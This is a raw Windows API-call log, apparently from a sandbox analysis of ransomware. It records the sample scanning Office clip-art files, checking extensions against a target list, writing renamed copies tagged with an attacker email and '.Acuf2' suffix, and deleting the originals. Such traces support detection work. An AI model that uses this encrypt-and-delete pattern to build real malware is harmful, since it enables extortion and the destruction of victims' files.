	[0259.771] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.771] lstrlenW (lpString=".xls") returned 4
	[0259.771] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.771] lstrlenW (lpString=".xlsx") returned 5
	[0259.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.771] lstrlenW (lpString=".ppt") returned 4
	[0259.771] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.771] lstrlenW (lpString=".zip") returned 4
	[0259.771] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.771] lstrlenW (lpString=".rar") returned 4
	[0259.771] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.771] lstrlenW (lpString=".bz2") returned 4
	[0259.771] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.771] lstrlenW (lpString=".7z") returned 3
	[0259.771] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.771] lstrlenW (lpString=".dbf") returned 4
	[0259.771] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.771] lstrlenW (lpString=".1cd") returned 4
	[0259.771] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63
	[0259.771] lstrlenW (lpString=".jpg") returned 4
	[0259.772] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.772] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.772] lstrlenW (lpString="BS01639_.WMF") returned 12
	[0259.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.772] GetFileSizeEx (in: hFile=0x274, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4236) returned 1
	[0259.772] CloseHandle (hObject=0x274) returned 1
	[0259.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20
	[0259.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0259.773] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.773] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.773] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0259.773] GetLastError () returned 0x0
	[0259.773] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x108c, lpOverlapped=0x0) returned 1
	[0259.775] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1090, lpOverlapped=0x0) returned 1
	[0259.776] ReadFile (in: hFile=0x274, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.776] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.776] SetEndOfFile (hFile=0x218) returned 1
	[0259.776] CloseHandle (hObject=0x218) returned 1
	[0259.776] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.776] SetEndOfFile (hFile=0x274) returned 1
	[0259.778] CloseHandle (hObject=0x274) returned 1
	[0259.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1
	[0259.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.779] lstrlenW (lpString=".doc") returned 4
	[0259.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.779] lstrlenW (lpString=".docx") returned 5
	[0259.779] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.779] lstrlenW (lpString=".pdf") returned 4
	[0259.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.779] lstrlenW (lpString=".xls") returned 4
	[0259.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.779] lstrlenW (lpString=".xlsx") returned 5
	[0259.779] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.779] lstrlenW (lpString=".ppt") returned 4
	[0259.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.779] lstrlenW (lpString=".zip") returned 4
	[0259.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.779] lstrlenW (lpString=".rar") returned 4
	[0259.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.779] lstrlenW (lpString=".bz2") returned 4
	[0259.779] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.779] lstrlenW (lpString=".7z") returned 3
	[0259.779] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.779] lstrlenW (lpString=".dbf") returned 4
	[0259.779] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.779] lstrlenW (lpString=".1cd") returned 4
	[0259.779] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.779] lstrlenW (lpString=".jpg") returned 4
	[0259.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.780] lstrlenW (lpString=".doc") returned 4
	[0259.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.780] lstrlenW (lpString=".docx") returned 5
	[0259.780] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.780] lstrlenW (lpString=".pdf") returned 4
	[0259.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.780] lstrlenW (lpString=".xls") returned 4
	[0259.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.780] lstrlenW (lpString=".xlsx") returned 5
	[0259.780] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.780] lstrlenW (lpString=".ppt") returned 4
	[0259.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.780] lstrlenW (lpString=".zip") returned 4
	[0259.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.780] lstrlenW (lpString=".rar") returned 4
	[0259.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.780] lstrlenW (lpString=".bz2") returned 4
	[0259.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.780] lstrlenW (lpString=".7z") returned 3
	[0259.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.780] lstrlenW (lpString=".dbf") returned 4
	[0259.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.780] lstrlenW (lpString=".1cd") returned 4
	[0259.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63
	[0259.781] lstrlenW (lpString=".jpg") returned 4
	[0259.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.781] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.781] lstrlenW (lpString="CG1606.WMF") returned 10
	[0259.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.833] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=3564) returned 1
	[0259.834] CloseHandle (hObject=0x35c) returned 1
	[0259.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20
	[0259.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.922] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.922] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.923] GetLastError () returned 0x0
	[0259.923] ReadFile (in: hFile=0x220, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0xdec, lpOverlapped=0x0) returned 1
	[0259.949] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xdf0, lpOverlapped=0x0) returned 1
	[0259.950] ReadFile (in: hFile=0x220, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.950] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xe8, lpOverlapped=0x0) returned 1
	[0259.950] SetEndOfFile (hFile=0x35c) returned 1
	[0259.950] CloseHandle (hObject=0x35c) returned 1
	[0259.950] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.950] SetEndOfFile (hFile=0x220) returned 1
	[0259.952] CloseHandle (hObject=0x220) returned 1
	[0259.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.953] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1
	[0259.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.953] lstrlenW (lpString=".doc") returned 4
	[0259.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.953] lstrlenW (lpString=".docx") returned 5
	[0259.953] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0259.953] lstrlenW (lpString=".pdf") returned 4
	[0259.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.953] lstrlenW (lpString=".xls") returned 4
	[0259.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.953] lstrlenW (lpString=".xlsx") returned 5
	[0259.953] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0259.953] lstrlenW (lpString=".ppt") returned 4
	[0259.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.953] lstrlenW (lpString=".zip") returned 4
	[0259.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.953] lstrlenW (lpString=".rar") returned 4
	[0259.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.954] lstrlenW (lpString=".bz2") returned 4
	[0259.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.954] lstrlenW (lpString=".7z") returned 3
	[0259.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.954] lstrlenW (lpString=".dbf") returned 4
	[0259.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.954] lstrlenW (lpString=".1cd") returned 4
	[0259.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.954] lstrlenW (lpString=".jpg") returned 4
	[0259.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.954] lstrlenW (lpString=".doc") returned 4
	[0259.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.954] lstrlenW (lpString=".docx") returned 5
	[0259.954] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0259.954] lstrlenW (lpString=".pdf") returned 4
	[0259.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.954] lstrlenW (lpString=".xls") returned 4
	[0259.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.954] lstrlenW (lpString=".xlsx") returned 5
	[0259.954] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0259.954] lstrlenW (lpString=".ppt") returned 4
	[0259.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.954] lstrlenW (lpString=".zip") returned 4
	[0259.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.955] lstrlenW (lpString=".rar") returned 4
	[0259.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.955] lstrlenW (lpString=".bz2") returned 4
	[0259.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.955] lstrlenW (lpString=".7z") returned 3
	[0259.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.955] lstrlenW (lpString=".dbf") returned 4
	[0259.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.955] lstrlenW (lpString=".1cd") returned 4
	[0259.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61
	[0259.955] lstrlenW (lpString=".jpg") returned 4
	[0259.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.955] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.955] lstrlenW (lpString="DD00121_.WMF") returned 12
	[0259.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.975] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=8256) returned 1
	[0259.975] CloseHandle (hObject=0x33c) returned 1
	[0259.975] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x20
	[0260.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0260.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0260.199] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.199] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a4
	[0260.737] GetLastError () returned 0x0
	[0260.737] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x2040, lpOverlapped=0x0) returned 1
	[0260.740] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x2050, lpOverlapped=0x0) returned 1
	[0260.741] ReadFile (in: hFile=0x360, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0260.741] WriteFile (in: hFile=0x2a4, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0260.741] SetEndOfFile (hFile=0x2a4) returned 1
	[0260.741] CloseHandle (hObject=0x2a4) returned 1
	[0260.741] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0260.741] SetEndOfFile (hFile=0x360) returned 1
	[0260.743] CloseHandle (hObject=0x360) returned 1
	[0260.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0260.901] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00121_.wmf")) returned 1
	[0260.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.901] lstrlenW (lpString=".doc") returned 4
	[0260.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.901] lstrlenW (lpString=".docx") returned 5
	[0260.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.902] lstrlenW (lpString=".pdf") returned 4
	[0260.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.902] lstrlenW (lpString=".xls") returned 4
	[0260.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.902] lstrlenW (lpString=".xlsx") returned 5
	[0260.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0260.902] lstrlenW (lpString=".ppt") returned 4
	[0260.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0260.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.902] lstrlenW (lpString=".zip") returned 4
	[0260.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0260.902] lstrlenW (lpString=".rar") returned 4
	[0260.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0260.902] lstrlenW (lpString=".bz2") returned 4
	[0260.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0260.902] lstrlenW (lpString=".7z") returned 3
	[0260.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0260.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.902] lstrlenW (lpString=".dbf") returned 4
	[0260.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0260.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.902] lstrlenW (lpString=".1cd") returned 4
	[0260.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0260.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.902] lstrlenW (lpString=".jpg") returned 4
	[0260.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0260.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 63
	[0260.902] lstrlenW (lpString=".doc") returned 4
	[0260.903] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0260.903] lstrlenW (lpString=".docx") returned 5
	[0260.903] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0260.903] lstrlenW (lpString=".pdf") returned 4
	[0260.903] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0260.903] lstrlenW (lpString=".xls") returned 4
	[0260.903] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0260.903] lstrlenW (lpString=".xlsx") returned 5
